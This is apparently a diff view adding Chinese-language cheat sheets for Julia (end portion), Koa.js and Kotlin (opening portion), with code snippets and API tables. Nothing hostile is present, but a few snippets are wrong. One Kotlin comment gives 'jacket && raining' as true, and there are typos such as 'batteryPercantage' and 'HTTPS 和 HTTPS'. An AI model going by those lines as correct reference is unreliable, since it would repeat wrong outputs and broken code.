||||
### 条件语句
|
||||
|
||||
```julia
|
||||
if x < y
|
||||
println("x is less than y")
|
||||
elseif x > y
|
||||
println("x is greater than y")
|
||||
else
|
||||
println("x is equal to y")
|
||||
end
|
||||
```
|
||||
|
||||
### for 循环
|
||||
|
||||
```julia
|
||||
for i in 1:10
|
||||
println(i)
|
||||
end
|
||||
```
|
||||
|
||||
### 嵌套循环
|
||||
|
||||
```julia
|
||||
for i in 1:10, j = 1:5
|
||||
println(i*j)
|
||||
end
|
||||
```
|
||||
|
||||
### 枚举
|
||||
|
||||
```julia
|
||||
for (idx, val) in enumerate(arr)
|
||||
println("the $idx-th element is $val")
|
||||
end
|
||||
```
|
||||
|
||||
### while 循环
|
||||
|
||||
```julia
|
||||
while bool_expr
|
||||
# 做点啥
|
||||
end
|
||||
```
|
||||
|
||||
### 退出循环
|
||||
|
||||
```julia {4}
|
||||
julia> i = 0
|
||||
julia> while true
|
||||
global i += 1
|
||||
i > 5 && break
|
||||
println(i)
|
||||
end
|
||||
```
|
||||
|
||||
### 退出本次循环
|
||||
|
||||
```julia {2}
|
||||
for i = 1:6
|
||||
iseven(i) && continue
|
||||
println(i)
|
||||
end
|
||||
```
|
||||
|
||||
数字相关
|
||||
---
|
||||
|
||||
### 整数类型
|
||||
|
||||
`IntN` 和 `UIntN`, 且 `N ∈ {8, 16, 32, 64, 128}`, `BigInt`
|
||||
|
||||
### 浮点类型
|
||||
|
||||
`FloatN` 且 `N ∈ {16, 32, 64}`
|
||||
`BigFloat`
|
||||
|
||||
### 类型的最大和最小值
|
||||
|
||||
```julia
|
||||
typemin(Int8)
|
||||
typemax(Int64)
|
||||
```
|
||||
|
||||
### 复数类型
|
||||
|
||||
```julia
|
||||
Complex{T<:Real}
|
||||
```
|
||||
|
||||
### 虚数单位
|
||||
|
||||
```julia
|
||||
im
|
||||
```
|
||||
|
||||
### 机器精度
|
||||
|
||||
```julia
|
||||
eps() # 等价于 eps(Float64)
|
||||
```
|
||||
|
||||
### 圆整
|
||||
|
||||
```julia
|
||||
round() # 浮点数圆整
|
||||
round(Int, x) # 整数圆整
|
||||
```
|
||||
|
||||
### 类型转换
|
||||
|
||||
```julia
|
||||
# 尝试进行转换/可能会报错
|
||||
convert(TypeName, val)
|
||||
# 调用类型构造器转换
|
||||
TypeName(val)
|
||||
```
|
||||
|
||||
### 全局常量
|
||||
|
||||
```julia
|
||||
pi # 3.1415...
|
||||
π # 3.1415...
|
||||
im # real(im * im) == -1
|
||||
```
|
||||
|
||||
### 更多常量
|
||||
|
||||
```julia
|
||||
using Base.MathConstants
|
||||
```
|
||||
|
||||
模块
|
||||
---
|
||||
|
||||
### 定义
|
||||
|
||||
```julia
|
||||
module PackageName
|
||||
# 添加模块定义
|
||||
# 使用 export 让定义对外可见
|
||||
end
|
||||
```
|
||||
|
||||
### 包含文件 filename.jl
|
||||
|
||||
```julia
|
||||
include("filename.jl")
|
||||
```
|
||||
|
||||
### 加载
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```julia
|
||||
using ModuleName # 导出所有名称
|
||||
# 仅导出 x, y
|
||||
using ModuleName: x, y
|
||||
# 仅导出 x, y
|
||||
using ModuleName.x, ModuleName.y:
|
||||
# 仅导出 ModuleName
|
||||
import ModuleName
|
||||
# 仅导出 x, y
|
||||
import ModuleName: x, y
|
||||
# 仅导出 x, y
|
||||
import ModuleName.x, ModuleName.y
|
||||
```
|
||||
|
||||
`using` 和 `import` 只有一点区别:使用 `using` 时,你需要写 `function Foo.bar(..` 来给 `Foo` 模块的函数 `bar` 增添一个新方法; 而使用 `import Foo.bar` 时,只需写 `function bar(...` 就能达到同样的效果
|
||||
|
||||
### 导出
|
||||
|
||||
```julia
|
||||
# 得到模块导出名称的数组
|
||||
names(ModuleName)
|
||||
|
||||
# 包含未导出的、弃用的
|
||||
# 和编译器产生的名称
|
||||
names(ModuleName, all::Bool)
|
||||
# 也显示从其他模块显式导入的名称
|
||||
names(ModuleName, all::Bool, imported::Bool)
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
包管理
|
||||
---
|
||||
|
||||
### 介绍
|
||||
|
||||
一个程序包必须先[注册](https://github.com/JuliaRegistries/General),然后才能在包管理器中看到它。在 Julia 1.0 中,有两种使用包管理器的方法:
|
||||
|
||||
- 一是通过 `using Pkg` 导入 `Pkg` 模块,然后用它的函数管理其他包;
|
||||
- 或者在 REPL 中输入 `]`,然后按回车。进入特殊的交互式包管理模式。 (要从包管理模式返回 REPL,只需要在空行上按退格键 `BACKSPACE` 就行了)
|
||||
|
||||
注意新的工具总是先添加到交互式模式中,然后才会加入 `Pkg` 模块
|
||||
|
||||
### 在 Julia 会话中使用 Pkg 管理包
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
列出已安装的包 | `Pkg.status()`
|
||||
更新所有包 | `Pkg.update()`
|
||||
安装包 | `Pkg.add("PackageName")`
|
||||
重新构建包 | `Pkg.build("PackageName")`
|
||||
使用包 | `using PackageName`
|
||||
删除包 | `Pkg.rm("PackageName")`
|
||||
<!--rehype:className=left-align-->
|
||||
|
||||
### 交互式包管理模式
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
添加包 | `add PackageName`
|
||||
删除包 | `rm PackageName`
|
||||
更新包 | `update PackageName`
|
||||
使用开发版本 | `dev PackageName` 或 `dev GitRepoUrl`
|
||||
返回普通发行版 | `free PackageName`
|
||||
<!--rehype:className=left-align-->
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [快速入门一份简单而粗略的语言概览](https://cheatsheet.juliadocs.org/zh-cn/)
|
428
docs/koajs.md
Normal file
428
docs/koajs.md
Normal file
@ -0,0 +1,428 @@
|
||||
Koajs 备忘清单
|
||||
===
|
||||
|
||||
基于 Node.js 平台的下一代 web 开发框架,包含 [Koa](https://koajs.com/) 的 API 参考列表和一些示例。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### Hello World
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
[Koa](https://koajs.com/) 需要 [node v7.6.0](https://nodejs.org) 或更高版本来支持ES2015、异步方法,你可以安装自己支持的 `node` 版本
|
||||
|
||||
- 安装依赖
|
||||
|
||||
```bash
|
||||
$ mkdir myapp # 创建目录
|
||||
$ cd myapp # 进入目录
|
||||
$ nvm install 7
|
||||
$ npm init -y # 初始化一个配置
|
||||
$ npm install koa # 安装依赖
|
||||
```
|
||||
|
||||
- 入口文件 `index.js` 添加代码:
|
||||
|
||||
```js
|
||||
const Koa = require('koa');
|
||||
const app = new Koa();
|
||||
|
||||
app.use(async ctx => {
|
||||
ctx.body = 'Hello World';
|
||||
});
|
||||
|
||||
app.listen(3000);
|
||||
```
|
||||
|
||||
- 使用以下命令运行应用程序
|
||||
|
||||
```bash
|
||||
$ node index.js
|
||||
```
|
||||
<!--rehype:className=style-timeline-->
|
||||
|
||||
### 级联
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```js
|
||||
const Koa = require('koa');
|
||||
const app = new Koa();
|
||||
// X-Response-Time x 响应时间
|
||||
app.use(async (ctx, next) => {
|
||||
const start = Date.now();
|
||||
await next();
|
||||
const ms = Date.now() - start;
|
||||
ctx.set('X-Response-Time', `${ms}ms`);
|
||||
});
|
||||
// 记录器 logger
|
||||
app.use(async (ctx, next) => {
|
||||
const start = Date.now();
|
||||
await next();
|
||||
const ms = Date.now() - start;
|
||||
console.log(
|
||||
`${ctx.method} ${ctx.url} - ${ms}`
|
||||
);
|
||||
});
|
||||
// 响应 response
|
||||
app.use(async ctx => {
|
||||
ctx.body = 'Hello World';
|
||||
});
|
||||
app.listen(3000);
|
||||
```
|
||||
|
||||
### 配置
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`app.env` | 默认为 `NODE_ENV` 或 `development`
|
||||
`app.keys` | 签名 `cookie` 密钥数组
|
||||
`app.proxy` | 何时信任真正的代理头字段
|
||||
`app.subdomainOffset` | 要忽略的 `.subdomains` 的偏移量,默认为 `2`
|
||||
`app.proxyIpHeader` | 代理 `ip` 头,默认为 `X-Forwarded-For`
|
||||
`app.maxIpsCount` | 从代理 `ip` 头读取的最大 `ips` 数,默认为 `0`(表示无穷大)
|
||||
<!--rehype:className=style-list style-list-arrow-->
|
||||
|
||||
### app.callback()
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`app.listen(...)` [#](https://koajs.com/#app-listen-) | 为一个绑定 `3000` 端口的简单 `Koa` 应用
|
||||
`app.callback()` [#](https://koajs.com/#app-callback-) | 返回一个适合 `http.createServer()` 方法的回调函数用来处理请求
|
||||
`app.use(function)` [#](https://koajs.com/#app-use-function-) | 添加指定的中间件,详情请看 [Middleware](https://github.com/koajs/koa/wiki#middleware)
|
||||
`app.keys` [#](https://koajs.com/#app-keys-) | 设置签名 `cookie` 密钥
|
||||
`app.context` [#](https://koajs.com/#app-context) | 从中创建 `ctx` 的原型
|
||||
<!--rehype:className=style-list style-list-arrow-->
|
||||
|
||||
### 错误处理
|
||||
|
||||
```js
|
||||
app.on('error', (err, ctx) => {
|
||||
log.error('server error', err, ctx)
|
||||
});
|
||||
```
|
||||
|
||||
默认情况下 `Koa` 会将所有错误信息输出到 `stderr`, 除非 `app.silent` 是 `true`。当 `err.status` 是 `404` 或者 `err.expose` 时,默认错误处理程序也不会输出错误
|
||||
|
||||
### Context 示例
|
||||
|
||||
```js
|
||||
app.use(async ctx => {
|
||||
ctx; // 这是上下文 Context
|
||||
ctx.request; // 这是 koa Request
|
||||
ctx.response; // 这是 koa Response
|
||||
});
|
||||
```
|
||||
|
||||
### app.listen(...)
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
```js
|
||||
const Koa = require('koa');
|
||||
const app = new Koa();
|
||||
app.listen(3000);
|
||||
```
|
||||
|
||||
`app.listen(...)` 实际上是以下代码的语法糖:
|
||||
|
||||
```js
|
||||
const http = require('http');
|
||||
const Koa = require('koa');
|
||||
const app = new Koa();
|
||||
http.createServer(app.callback()).listen(3000);
|
||||
```
|
||||
|
||||
这意味着您可以同时支持 `HTTPS` 和 `HTTPS`,或者在 `多个端口` 监听同一个应用
|
||||
|
||||
```js
|
||||
const http = require('http');
|
||||
const https = require('https');
|
||||
const Koa = require('koa');
|
||||
const app = new Koa();
|
||||
http.createServer(app.callback()).listen(3000);
|
||||
https.createServer(app.callback()).listen(3001);
|
||||
```
|
||||
|
||||
### ctx.throw 示例
|
||||
|
||||
```js
|
||||
ctx.throw(400);
|
||||
ctx.throw(400, 'name required');
|
||||
ctx.throw(400, 'name required', { user: user });
|
||||
```
|
||||
|
||||
`this.throw('name required', 400)` 等价于
|
||||
|
||||
```js
|
||||
const err = new Error('name required');
|
||||
err.status = 400;
|
||||
err.expose = true;
|
||||
throw err;
|
||||
```
|
||||
|
||||
### ctx.assert 示例
|
||||
|
||||
```js
|
||||
ctx.assert(
|
||||
ctx.state.user,
|
||||
401,
|
||||
'User not found. Please login!'
|
||||
);
|
||||
```
|
||||
|
||||
### Context(上下文) API
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`ctx.req` | Node 的 request 对象
|
||||
`ctx.res` | Node 的 response 对象
|
||||
`ctx.request` | Koa 的 Request 对象
|
||||
`ctx.response` | Koa 的 Response 对象
|
||||
`ctx.state` | 推荐的命名空间,用于通过中间件传递信息到前端视图
|
||||
`ctx.app` | 应用实例引用
|
||||
`ctx.app.emit` | 发出由第一个参数定义的类型的事件
|
||||
`ctx.cookies.get(name, [options])` | 获得 `cookie` 中名为 `name` 的值
|
||||
`ctx.cookies.set(name, value, [options])` | 设置 `cookie` 中名为 `name` 的值
|
||||
`ctx.throw([status], [msg], [properties])` | 抛出包含 `.status` 属性的错误,默认为 `500`
|
||||
`ctx.assert(value, [status], [msg], [properties])` | 当 `!value` 时, `Helper` 方法抛出一个类似 `.throw()` 的错误
|
||||
`ctx.respond` | 避免使用 `Koa` 的内置响应处理功能,您可以直接赋值 `this.repond = false`
|
||||
<!--rehype:className=style-list style-list-arrow-->
|
||||
|
||||
### ctx.cookies.set 参数
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`maxAge` | 表示从Date开始的毫秒数 `now()` 到期。
|
||||
`expires` | 一个 `Date` 对象,指示 `cookie` 的到期日期(默认情况下在会话结束时到期)
|
||||
`path` | 表示 `cookie` 路径的字符串(默认为`/`)
|
||||
`domain` | 表示 `cookie` 的域的字符串(无默认值)
|
||||
`secure` | 一个布尔值,指示 `cookie` 是否只通过HTTPS发送(HTTP默认为false,HTTPS默认为true)。阅读有关此选项的更多信息
|
||||
`httpOnly` | 一个布尔值,指示cookie是否只通过HTTP(S)发送,而不可用于客户端 JavaScript(默认为true)
|
||||
`sameSite` | 一个布尔值或字符串,指示cookie是否为“同一站点”cookie(默认为false)。这可以设置为“strict”、“lax”、“none”或true(映射为“strect”)
|
||||
`signed` | 一个布尔值,指示是否对cookie进行签名(默认为false)。如果这是真的,还将发送另一个附加了.sig后缀的同名cookie,其中一个27字节的url安全base64 SHA1值表示cookie name=cookie值相对于第一个Keygrip键的哈希值。此签名密钥用于在下次收到cookie时检测篡改
|
||||
`overwrite` | 一个布尔值,指示是否覆盖以前设置的同名 `cookie`(默认为false)。如果为true,则在设置此Cookie时,将从set-Cookie标头中筛选出在同一请求期间设置的具有相同名称的所有Cookie(无论路径或域如何)
|
||||
<!--rehype:className=style-list style-list-arrow-->
|
||||
|
||||
### 请求(Request)
|
||||
<!--rehype:wrap-class=row-span-5-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`request.header` | 请求头对象
|
||||
`request.header=` | 设置请求头对象
|
||||
`request.headers` | 请求头对象。等价于 request.header.
|
||||
`request.headers=` | 设置请求头对象。 等价于request.header=.
|
||||
`request.method` | 请求方法
|
||||
`request.method=` | 设置请求方法, 在实现中间件时非常有用,比如 methodOverride()
|
||||
`request.length` | 以数字的形式返回 request 的内容长度(Content-Length),或者返回 undefined。
|
||||
`request.url` | 获得请求url地址.
|
||||
`request.url=` | 设置请求地址,用于重写url地址时
|
||||
`request.originalUrl` | 获取请求原始地址
|
||||
`request.origin` | 获取URL原始地址, 包含 protocol 和 host
|
||||
`request.href` | 获取完整的请求URL, 包含 protocol, host 和 url
|
||||
`request.path` | 获取请求路径名
|
||||
`request.path=` | 设置请求路径名并保留当前查询字符串
|
||||
`request.querystring` | 获取查询参数字符串(url中?后面的部分),不包含?
|
||||
`request.querystring=` | 设置原始查询字符串
|
||||
`request.search` | 获取查询参数字符串,包含?
|
||||
`request.search=` | 设置原始查询字符串
|
||||
`request.host` | 获取 host (hostname:port)。 当 app.proxy 设置为 true 时,支持 X-Forwarded-Host
|
||||
`request.hostname` | 获取 hostname。当 app.proxy 设置为 true 时,支持 X-Forwarded-Host。
|
||||
`request.URL` | 获取 WHATWG 解析的对象.
|
||||
`request.type` | 获取请求 Content-Type,不包含像 "charset" 这样的参数。
|
||||
`request.charset` | 获取请求 charset,没有则返回 `undefined`
|
||||
`request.query` | 将查询参数字符串进行解析并以对象的形式返回,如果没有查询参数字字符串则返回一个空对象
|
||||
`request.query=` | 根据给定的对象设置查询参数字符串
|
||||
`request.fresh` | 检查请求缓存是否 "fresh"(内容没有发生变化)
|
||||
`request.stale` | 与 req.fresh 相反
|
||||
`request.protocol` | 返回请求协议,"https" 或者 "http"
|
||||
`request.secure` | 简化版 this.protocol == "https",用来检查请求是否通过 TLS 发送
|
||||
`request.ip` | 请求远程地址,当 app.proxy 设置为 true 时,支持 X-Forwarded-Host
|
||||
`request.ips` | 当 X-Forwarded-For 存在并且 app.proxy 有效,将会返回一个有序(从 upstream 到 downstream)ip 数组
|
||||
`request.subdomains` | 以数组形式返回子域名
|
||||
`request.is(types...)` | 检查请求所包含的 "Content-Type" 是否为给定的 type 值
|
||||
`request.accepts(types)` | 检查给定的类型 types(s) 是否可被接受,当为 true 时返回最佳匹配,否则返回 false
|
||||
`request.acceptsEncodings(encodings)` | 检查 `encodings` 是否可以被接受,当为 `true` 时返回最佳匹配,否则返回 `false`
|
||||
`request.acceptsCharsets(charsets)` | 检查 `charsets` 是否可以被接受,如果为 `true` 则返回最佳匹配,否则返回 `false`
|
||||
`request.acceptsLanguages(langs)` | 检查 `langs` 是否可以被接受,如果为 `true` 则返回最佳匹配,否则返回 `false`
|
||||
`request.idempotent` | 检查请求是否为幂等(idempotent)
|
||||
`request.socket` | 返回请求的socket
|
||||
`request.get(field)` | 返回请求头
|
||||
<!--rehype:className=style-list style-list-arrow-->
|
||||
|
||||
### 响应(Response)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`response.header` | Response header 对象
|
||||
`response.headers` | Response header 对象。等价于 response.header.
|
||||
`response.socket` | Request socket.
|
||||
`response.status` | 获取响应状态。 默认情况下,response.status设置为404,而不像node's res.statusCode默认为200。
|
||||
`response.status=` | 通过数字设置响应状态
|
||||
`response.message` | 获取响应状态消息。默认情况下, response.message关联response.status。
|
||||
`response.message=` | 将响应状态消息设置为给定值。
|
||||
`response.length=` | 将响应Content-Length设置为给定值。
|
||||
`response.length` | 如果 Content-Length 作为数值存在,或者可以通过 ctx.body 来进行计算,则返回相应数值,否则返回 undefined。
|
||||
`response.body` | 获取响应体。
|
||||
`response.body=` | 设置响应体为如 `string`,`Buffer`,`Stream`,`Object\|Array`,`null`
|
||||
`response.get(field)` | 获取 response header 中字段值,field 不区分大小写
|
||||
`response.set(field, value)` | 设置 response header 字段 field 的值为 value
|
||||
`response.append(field, value)`| 添加额外的字段field 的值为 val
|
||||
`response.set(fields)` | 使用对象同时设置 response header 中多个字段的值
|
||||
`response.remove(field)` | 移除 response header 中字段 filed
|
||||
`response.type` | 获取 response Content-Type,不包含像"charset"这样的参数
|
||||
`response.type=` | 通过 mime 类型的字符串或者文件扩展名设置 response Content-Type
|
||||
`response.is(types...)` | 跟 `ctx.request.is()` 非常类似。用来检查响应类型是否是所提供的类型之一
|
||||
`response.redirect(url, [alt])` | 执行 [302] 重定向到对应 url
|
||||
`response.attachment([filename])` | 设置 "attachment" 的 Content-Disposition,用于给客户端发送信号来提示下载
|
||||
`response.headerSent` | 检查 response header 是否已经发送,用于在发生错误时检查客户端是否被通知。
|
||||
`response.lastModified` | 如果存在 Last-Modified,则以 Date 的形式返回。
|
||||
`response.lastModified=` | 以 UTC 格式设置 Last-Modified。您可以使用 Date 或 date 字符串来进行设置。
|
||||
`response.etag=` | 设置 包含 "s 的 ETag
|
||||
`response.vary(field)` | 不同于field.
|
||||
`response.flushHeaders()` | 刷新任何设置的响应头,并开始响应体
|
||||
<!--rehype:className=style-list style-list-arrow-->
|
||||
|
||||
### 请求(Request)别名
|
||||
|
||||
以下访问器和别名与 [Request](#请求request) 等价:
|
||||
|
||||
- `ctx.header`
|
||||
- `ctx.headers`
|
||||
- `ctx.method`
|
||||
- `ctx.method=`
|
||||
- `ctx.url`
|
||||
- `ctx.url=`
|
||||
- `ctx.originalUrl`
|
||||
- `ctx.origin`
|
||||
- `ctx.href`
|
||||
- `ctx.path`
|
||||
- `ctx.path=`
|
||||
- `ctx.query`
|
||||
- `ctx.query=`
|
||||
- `ctx.querystring`
|
||||
- `ctx.querystring=`
|
||||
- `ctx.host`
|
||||
- `ctx.hostname`
|
||||
- `ctx.fresh`
|
||||
- `ctx.stale`
|
||||
- `ctx.socket`
|
||||
- `ctx.protocol`
|
||||
- `ctx.secure`
|
||||
- `ctx.ip`
|
||||
- `ctx.ips`
|
||||
- `ctx.subdomains`
|
||||
- `ctx.is()`
|
||||
- `ctx.accepts()`
|
||||
- `ctx.acceptsEncodings()`
|
||||
- `ctx.acceptsCharsets()`
|
||||
- `ctx.acceptsLanguages()`
|
||||
- `ctx.get()`
|
||||
|
||||
### 响应(Response)别名
|
||||
|
||||
以下访问器和别名与 [Response](#响应response) 等价:
|
||||
|
||||
- `ctx.body`
|
||||
- `ctx.body=`
|
||||
- `ctx.status`
|
||||
- `ctx.status=`
|
||||
- `ctx.message`
|
||||
- `ctx.message=`
|
||||
- `ctx.length=`
|
||||
- `ctx.length`
|
||||
- `ctx.type=`
|
||||
- `ctx.type`
|
||||
- `ctx.headerSent`
|
||||
- `ctx.redirect()`
|
||||
- `ctx.attachment()`
|
||||
- `ctx.set()`
|
||||
- `ctx.append()`
|
||||
- `ctx.remove()`
|
||||
- `ctx.lastModified=`
|
||||
- `ctx.etag=`
|
||||
|
||||
### request.fresh 示例
|
||||
|
||||
```js
|
||||
// freshness 检查需要状态 20x 或 304
|
||||
ctx.status = 200;
|
||||
ctx.set('ETag', '123');
|
||||
|
||||
// 缓存正常
|
||||
if (ctx.fresh) {
|
||||
ctx.status = 304;
|
||||
return;
|
||||
}
|
||||
|
||||
// 缓存已过时
|
||||
// 获取新数据
|
||||
ctx.body = await db.find('something');
|
||||
```
|
||||
|
||||
### ctx.is 示例
|
||||
|
||||
```js
|
||||
// Content-Type: text/html; charset=utf-8
|
||||
ctx.is('html'); // => 'html'
|
||||
ctx.is('text/html'); // => 'text/html'
|
||||
ctx.is('text/*', 'text/html');
|
||||
// => 'text/html'
|
||||
// 当 Content-Type 为 application/json 时
|
||||
ctx.is('json', 'urlencoded'); // => 'json'
|
||||
ctx.is('application/json');
|
||||
// => 'application/json'
|
||||
ctx.is('html', 'application/*');
|
||||
// => 'application/json'
|
||||
|
||||
ctx.is('html'); // => false
|
||||
```
|
||||
|
||||
### ctx.accepts 示例
|
||||
|
||||
```js
|
||||
// 接受: text/*, application/json
|
||||
ctx.accepts('html');
|
||||
// => "html"
|
||||
ctx.accepts('text/html');
|
||||
// => "text/html"
|
||||
ctx.accepts('json', 'text');
|
||||
// => "json"
|
||||
ctx.accepts('application/json');
|
||||
// => "application/json"
|
||||
```
|
||||
|
||||
### request.acceptsCharsets 示例
|
||||
|
||||
```js
|
||||
// Accept-Charset: utf-8, iso-8859-1;q=0.2, utf-7;q=0.5
|
||||
ctx.acceptsCharsets('utf-8', 'utf-7');
|
||||
// => "utf-8"
|
||||
|
||||
ctx.acceptsCharsets(['utf-7', 'utf-8']);
|
||||
// => "utf-8"
|
||||
```
|
||||
|
||||
检查 `charsets` 是否可以被接受,如果为 `true` 则返回最佳匹配, 否则返回 `false`
|
||||
|
||||
### response.set 示例
|
||||
|
||||
```js
|
||||
ctx.set({
|
||||
'Etag': '1234',
|
||||
'Last-Modified': date
|
||||
});
|
||||
```
|
||||
|
||||
使用对象同时设置 response header 中多个字段的值
|
||||
|
||||
### response.type 示例
|
||||
|
||||
```js
|
||||
const ct = ctx.type;
|
||||
// => "image/png"
|
||||
```
|
||||
|
||||
获取 response Content-Type,不包含像"charset"这样的参数
|
718
docs/kotlin.md
Normal file
718
docs/kotlin.md
Normal file
@ -0,0 +1,718 @@
|
||||
Kotlin 备忘清单
|
||||
===
|
||||
|
||||
Kotlin 备忘清单是 [Kotlin](https://kotlinlang.org) 编程语言的单页参考表
|
||||
|
||||
Kotlin 简介
|
||||
----
|
||||
|
||||
### main() 函数
|
||||
|
||||
```kotlin
|
||||
fun main() {
|
||||
// Code goes here
|
||||
}
|
||||
```
|
||||
|
||||
main() 函数是每个 Kotlin 程序的起点,在执行之前必须包含在代码中
|
||||
|
||||
### 打印声明
|
||||
|
||||
```kotlin
|
||||
println("Greetings, earthling!")
|
||||
print("Take me to ")
|
||||
print("your leader.")
|
||||
|
||||
/*
|
||||
打印:
|
||||
Greetings, earthling!
|
||||
Take me to your leader.
|
||||
*/
|
||||
```
|
||||
|
||||
### 注释
|
||||
|
||||
```kotlin
|
||||
// 这是单行注释
|
||||
|
||||
/*
|
||||
这个
|
||||
注释
|
||||
用于
|
||||
多
|
||||
行
|
||||
*/
|
||||
```
|
||||
|
||||
### 执行顺序
|
||||
|
||||
```kotlin
|
||||
fun main() {
|
||||
println("I will be printed first.")
|
||||
println("I will be printed second.")
|
||||
println("I will be printed third.")
|
||||
}
|
||||
```
|
||||
|
||||
数据类型和变量
|
||||
---
|
||||
|
||||
### 可变变量
|
||||
|
||||
```kotlin
|
||||
var age = 25
|
||||
age = 26
|
||||
```
|
||||
|
||||
### 不可变变量
|
||||
|
||||
```kotlin
|
||||
val goldenRatio = 1.618
|
||||
```
|
||||
|
||||
### 类型推断
|
||||
|
||||
```kotlin
|
||||
// 以下变量在双引号内分配了一个文本值
|
||||
// 因此推断的类型是 String
|
||||
|
||||
var color = "Purple"
|
||||
```
|
||||
|
||||
### 字符串连接
|
||||
|
||||
```kotlin
|
||||
var streetAddress = "123 Main St."
|
||||
var cityState = "Brooklyn, NY"
|
||||
|
||||
println(streetAddress + " " + cityState)
|
||||
// 打印: 123 Main St. Brooklyn, NY
|
||||
```
|
||||
|
||||
### 字符串模板
|
||||
|
||||
```kotlin
|
||||
var address = "123 Main St."
|
||||
println("The address is $address")
|
||||
// 打印: The address is 123 Main St.
|
||||
```
|
||||
|
||||
### 内置属性和函数
|
||||
|
||||
```kotlin
|
||||
var monument = "the Statue of Liberty"
|
||||
|
||||
println(monument.capitalize())
|
||||
// 打印: The Statue of Liberty
|
||||
println(monument.length)
|
||||
// 打印: 21
|
||||
```
|
||||
|
||||
### 字符转义序列
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```kotlin
|
||||
print("\"Excellent!\" I cried. \"Elementary,\" said he.")
|
||||
|
||||
// 打印: "Excellent!" I cried. "Elementary," said he.
|
||||
```
|
||||
<!--rehype:className=wrap-text-->
|
||||
|
||||
- `\n` 插入新行
|
||||
- `\t` 插入标签
|
||||
- `\r` 插入回车
|
||||
- `\'` 插入单引号
|
||||
- `\"` 插入双引号
|
||||
- `\\` 插入反斜杠
|
||||
- `\$` 插入美元符号
|
||||
|
||||
### 算术运算符
|
||||
|
||||
```kotlin
|
||||
5 + 7 // 12
|
||||
9 - 2 // 7
|
||||
8 * 4 // 32
|
||||
25 / 5 // 5
|
||||
31 % 2 // 1
|
||||
```
|
||||
|
||||
`+` 加法、`-` 减法、`*` 乘法、`/` 除法和 `%` 模数
|
||||
|
||||
### 操作顺序
|
||||
|
||||
```kotlin
|
||||
5 + 8 * 2 / 4 - 3 // 6
|
||||
3 + (4 + 4) / 2 // 7
|
||||
4 * 2 + 1 * 7 // 15
|
||||
3 + 18 / 2 * 1 // 12
|
||||
6 - 3 % 2 + 2 // 7
|
||||
```
|
||||
|
||||
### 增强赋值运算符
|
||||
|
||||
```kotlin
|
||||
var batteryPercentage = 80
|
||||
|
||||
// 长语法
|
||||
batteryPercentage = batteryPercantage + 10
|
||||
|
||||
// 带有增广赋值运算符的短句法
|
||||
batteryPercentage += 10
|
||||
```
|
||||
|
||||
### 递增和递减运算符
|
||||
|
||||
```kotlin
|
||||
var year = 2019
|
||||
year++ // 2020
|
||||
year-- // 2019
|
||||
```
|
||||
|
||||
### 数学库
|
||||
|
||||
```kotlin
|
||||
Math.pow(2.0, 3.0) // 8.0
|
||||
Math.min(6, 9) // 6
|
||||
Math.max(10, 12) // 12
|
||||
Math.round(13.7) // 14
|
||||
```
|
||||
|
||||
条件表达式
|
||||
----
|
||||
|
||||
### if 表达式
|
||||
|
||||
```kotlin
|
||||
var morning = true
|
||||
|
||||
if (morning) {
|
||||
println("Rise and shine!")
|
||||
}
|
||||
// 打印: Rise and shine!
|
||||
```
|
||||
|
||||
### else 表达式
|
||||
|
||||
```kotlin
|
||||
var rained = false
|
||||
|
||||
if (rained) {
|
||||
println("今天不需要给植物浇水。")
|
||||
} else {
|
||||
println("植物需要浇水!")
|
||||
}
|
||||
// 打印: 植物需要浇水!
|
||||
```
|
||||
|
||||
### Else-If 表达式
|
||||
|
||||
```kotlin
|
||||
var age = 65
|
||||
|
||||
if (age < 18 ) {
|
||||
println("您被视为未成年人")
|
||||
} else if (age < 60) {
|
||||
println("您被视为成年人")
|
||||
} else {
|
||||
println("你被认为是高级")
|
||||
}
|
||||
|
||||
// 打印: 你被认为是高级
|
||||
```
|
||||
|
||||
### 比较运算符
|
||||
|
||||
```kotlin
|
||||
var myAge = 19
|
||||
var sisterAge = 11
|
||||
var cousinAge = 11
|
||||
|
||||
myAge > sisterAge // true
|
||||
myAge < cousinAge // false
|
||||
myAge >= cousinAge // true
|
||||
myAge <= sisterAge // false
|
||||
```
|
||||
|
||||
### 逻辑运算符
|
||||
|
||||
```kotlin
|
||||
var humid = true
|
||||
var raining = true
|
||||
var jacket = false
|
||||
|
||||
println(!humid)
|
||||
// 打印: false
|
||||
println(jacket && raining)
|
||||
// 打印: true
|
||||
println(humid || raining)
|
||||
// 打印: true
|
||||
```
|
||||
|
||||
### AND 运算符: &&
|
||||
|
||||
```kotlin
|
||||
var humid = true
|
||||
var raining = true
|
||||
var shorts = false
|
||||
var sunny = false
|
||||
|
||||
// true AND true
|
||||
println(humid && raining) // true
|
||||
// true AND false
|
||||
println(humid && shorts) // false
|
||||
// false AND true
|
||||
println(sunny && raining) // false
|
||||
// false AND false
|
||||
println(shorts && sunny) // false
|
||||
```
|
||||
|
||||
### 或运算符:||
|
||||
|
||||
```kotlin
|
||||
var late = true
|
||||
var skipBreakfast = true
|
||||
var underslept = false
|
||||
var checkEmails = false
|
||||
|
||||
// true OR true
|
||||
println(skipBreakfast || late) // true
|
||||
// true OR false
|
||||
println(late || checkEmails) // true
|
||||
// false OR true
|
||||
println(underslept || late) // true
|
||||
// false OR false
|
||||
println(checkEmails || underslept) // false
|
||||
```
|
||||
|
||||
### NOT 运算符
|
||||
|
||||
```kotlin
|
||||
var hungry = true
|
||||
var full = false
|
||||
|
||||
println(!hungry) // false
|
||||
